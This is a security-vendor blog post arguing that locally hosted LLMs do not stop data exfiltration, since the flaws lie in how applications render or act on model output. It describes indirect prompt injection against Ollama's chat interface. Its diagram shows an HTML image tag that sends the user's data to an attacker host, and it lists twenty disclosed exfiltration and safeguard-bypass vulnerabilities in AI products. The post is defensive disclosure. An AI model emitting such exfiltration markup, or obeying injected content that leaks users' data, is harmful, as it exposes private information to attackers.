PromptArmor
Blogs

Local models do not stop data exfiltration

Why on-prem models do not prevent data exfiltration risks, how data exfiltration occurs, and what risks local models actually mitigate.

MODEL HOSTEDANYWHEREVULNERABLE COMPONENTPROCESSES AI OUTPUTDATA ISEXFILTRATEDLocalCloudOn-premisesYour VPCAWSAlibaba CloudAI OUTPUTAI INPUTInsecure interface or toolsAI applicationAssistant<img src="attacker.com/?d=YOUR-DATA">YOUR DATAAttacker

Why doesn't running models locally address data exfiltration?

We’ve seen more and more organizations start to prioritize running LLMs locally, in an effort to reduce risk exposure. While running models locally reduces some types of risk exposure, it does not address many risks inherited from the AI systems. PromptArmor's Threat Intelligence Team has identified hundreds of data exfiltration vulnerabilities in major AI applications, and our work is referenced across the OWASP LLM Top 10, MITRE Atlas, NIST, and more.

The inherent feasibility of these attacks is not addressed by local LLMs. Vulnerabilities lie in the AI's harness, not the output generation process.

What this means is that after an LLM generates its output, the infrastructure and applications that process it have the capability, often due to a vulnerability, to transfer internal data to an external party.

As an example, let's examine a vulnerability that we found in the chat interface of Ollama (a widely adopted tool to run local LLMs): the chat that displayed LLM outputs was capable of rendering raw HTML from the model’s outputs. If the agent generates HTML, an HTML injection attack can occur, triggering network requests that exfiltrate data or phish the user.

Ollama is an application whose purpose is to run models locally, but for this attack, it does not matter where the model powering the system runs (or even what model it is). The model could be hosted locally on-premises, in your own VPC, on AWS, or served by Alibaba Cloud; the outcome would be the same.

The fix? Modify the application so that if the agent outputs HTML, the HTML cannot render and trigger external network requests. This can be done with techniques like sanitizing agent output, rendering it as plain text, or using a content security policy to prevent network requests from firing even if LLM-outputted HTML renders.

The exfiltration vector, from the vulnerable component to the fix, is independent of the model compute environment.

Insecure handling of LLM output is the root cause of data exfiltration via indirect prompt injection. It is not important where the model runs that generates a manipulated output; it is about where that malicious output is handled insecurely downstream.

See which of your vendors are vulnerable to AI risks

What are the real risks and rewards of on-prem models?

Running models on-premises has several positive security and governance impacts. The primary benefit is that your data from interactions with the model does not have to be processed by any third party. Third parties being breached, or having terms that retain your data, is no longer a risk to you. In addition to that, if you are doing business in the same region you are based in, running models on-premise can fulfil data residency obligations.

However, when running models on-premises, you are responsible for the model serving infrastructure. If you use a model over API from a major model lab, or access models via a third party cloud provider like AWS Bedrock, you do not own the security risks in the model serving infrastructure. When you run models on-premises, risks such as malware in malicious model files, model denial of service attacks, unbounded consumption attacks, and more become a risk you own.

Classification of 20 enterprise AI vulnerabilities

Below, we break down 20 of the vulnerabilities we have identified in our research on enterprise AI applications. None of the exploits stemmed from where the model was hosted.

ZoomAug 2026
Meeting transcripts and personal information exfiltrated after agent engages attacker’s command and control server.
Vulnerable component
Agent sandbox network controls + human in the loop controls
Read now
AtlassianAug 2026
Jira and Confluence data exfiltrated in spite of organization-wide web-search controls
Vulnerable component
Insecure URL retrieval tool + insecure chat interface displaying AI outputs (Markdown image)
Read now
OpenAIJun 2026
Malware downloaded and executed enabling data exfiltration from the victim's device
Vulnerable component
Human in the loop controls
Read now
OllamaJun 2026
Phishing overlay credential harvesting and data exfiltration of uploaded documents
Vulnerable component
Insecure chat interface displaying AI outputs (HTML, Markdown image) + insecure URL retrieval tool
Read now
OpenAIJun 2026
Exfiltration of Google sheets from across a victim's account
Vulnerable component
Script execution tool + human in the loop controls
Read now
OpenAIMay 2026
Exfiltration of emails from a connected inbox
Vulnerable component
Insecuce chat interface displaying AI outputs (Markdown image)
Read now
MicrosoftMay 2026
Exfiltration of data from SharePoint, OneDrive, Teams, and more
Vulnerable component
Human in the loop controls for email and Teams send message tools
Read now
RampApr 2026
Exfiltration of financial models from a spreadsheet
Vulnerable component
Human in the loop controls for formula insertion
Read now
SnowflakeMar 2026
Installation and execution of malware allowing attackers to exfiltrate data and take actions across a Snowflake instance and a victim's local device
Vulnerable component
Human in the loop controls bypass + agent-controlled tool to run code outside the sandbox
Read now
GitHubMar 2026
Download and execution of malware allowing attackers to exfiltrate data from a victim's device
Vulnerable component
Human in the loop controls bypass
Read now
AnthropicJan 2026
Exfiltration of local files from a victim's device
Vulnerable component
Sandbox network access controls failure
Read now
OpenAIJan 2026
Exfiltration of data from agentic applications built on OpenAI
Vulnerable component
Insecure display interface for rendering logs of AI chats (Markdown image)
Read now
SuperhumanJan 2026
Exfiltration of emails from a Superhuman inbox
Vulnerable component
Insecure chat interface displaying AI outputs (Markdown images)
Read now
NotionJan 2026
Data exfiltration from a victim's Notion documents
Vulnerable component
Human in the loop controls failure; edits containing external content applied before user accepts edit
Read now
IBMJan 2026
Download and execution of malware enabling exfiltration of data from a victim's local device
Vulnerable component
Human in the loop controls bypass + insecure interface rendering AI output (Markdown images, Mermaid diagrams) + insecure downstream fetching of AI-generated fields
Read now
Hugging FaceDec 2025
Exfiltration of files and chat history
Vulnerable component
Insecure interface displaying AI chat outputs (Markdown image) + insecure URL retrieval tool
Read now
GoogleNov 2025
Exfiltration of credentials and source code from a developer's workspace
Vulnerable component
Insecure browser subagent invocation
Read now
AnthropicNov 2025
Exfiltration of a victim's financial models
Vulnerable component
Insufficient human in the loop controls
Read now
SlackAug 2024
Exfiltration of messages from private Slack channels
Vulnerable component
Insecure chat interface rendering AI outputs (obfuscated hyperlinks)
Read now
Writer.comDec 2023
Exfiltration of private documents uploaded to Writer.com
Vulnerable component
Insecure interface displaying AI chat outputs (Markdown image)
Read now

Track these vulnerabilities across your vendors

PromptArmor Threat Intelligence

Is your organization protected from AI in vendors?

PromptArmor continuously monitors across your portfolio of third party AI in vendors, skills, plugins, connectors, MCP servers, models and more.

We detect vulnerabilities and changes like this, surfacing risk before it becomes an incident.

Learn more